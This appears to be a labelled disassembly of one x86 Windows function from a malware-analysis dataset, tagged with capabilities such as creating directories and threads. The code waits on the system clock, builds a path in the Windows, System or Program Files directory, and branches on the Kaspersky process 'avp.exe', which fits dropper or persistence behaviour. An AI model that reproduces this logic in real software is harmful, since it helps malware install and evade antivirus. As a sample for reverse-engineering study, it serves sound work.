Function at 0x4054e0
Capabilities:
Create directory
Create thread
Get common file path
Terminate process

Disassembly:
sub esp, 0x10
mov ecx, 0x105
xor eax, eax
push esi
push edi
mov edi, 0x410990
push str.GetModuleFileNameA
rep stosd dword es:[edi], eax
push str.kernel32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x104
push 0x410990
push 0
call eax
mov eax, dword [0x40fcc4]
test eax, eax
je 0x40559c
push ebx
lea eax, [esp + 0xc]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetSystemTime]
push eax
call ebp
mov esi, dword [esp + 0x1c]
mov edi, dword [esp + 0x1a]
mov ebx, dword [esp + 0x18]
and esi, 0xffff
add esi, 0xa
and edi, 0xffff
and ebx, 0xffff
cmp esi, 0x3c
jb 0x40555a
inc edi
sub esi, 0x3c
cmp edi, 0x3c
jb 0x405560
inc ebx
lea ecx, [esp + 0x10]
push ecx
call ebp
mov edx, dword [esp + 0x1c]
and edx, 0xffff
cmp edx, esi
jne 0x405590
mov eax, dword [esp + 0x1a]
and eax, 0xffff
cmp eax, edi
jne 0x405590
mov ecx, dword [esp + 0x18]
and ecx, 0xffff
cmp ecx, ebx
je 0x40559a
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x405560
pop ebp
pop ebx
mov eax, dword [0x40fa60]
sub eax, 0
je 0x4055e2
dec eax
je 0x4055cb
dec eax
je 0x4055b4
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push 0x104
push 0x410b98
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
mov edi, 0x41000c
jmp 0x4055fe
push 0x104
push 0x410b98
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov edi, 0x41000c
jmp 0x4055fe
push 0x104
push 0x410b98
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
mov byte [0x410b9b], 0
mov edi, str.Program_Files_
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x410b98
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40fa64
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
je 0x4056d9
mov edi, 0x40fa64
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push str.avp.exe
mov esi, edi
mov edx, ecx
mov edi, 0x410b98
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call fcn.00403120
add esp, 4
test eax, eax
push 0
jne 0x405684
push 0x410b98
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
jmp 0x4056ac
push 0
push 0x410b98
push 0x405490
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, 0x41000c
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x410b98
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, 0x40fb68
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edx, ecx
mov edi, 0x410b98
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
pop edi
pop esi
add esp, 0x10
ret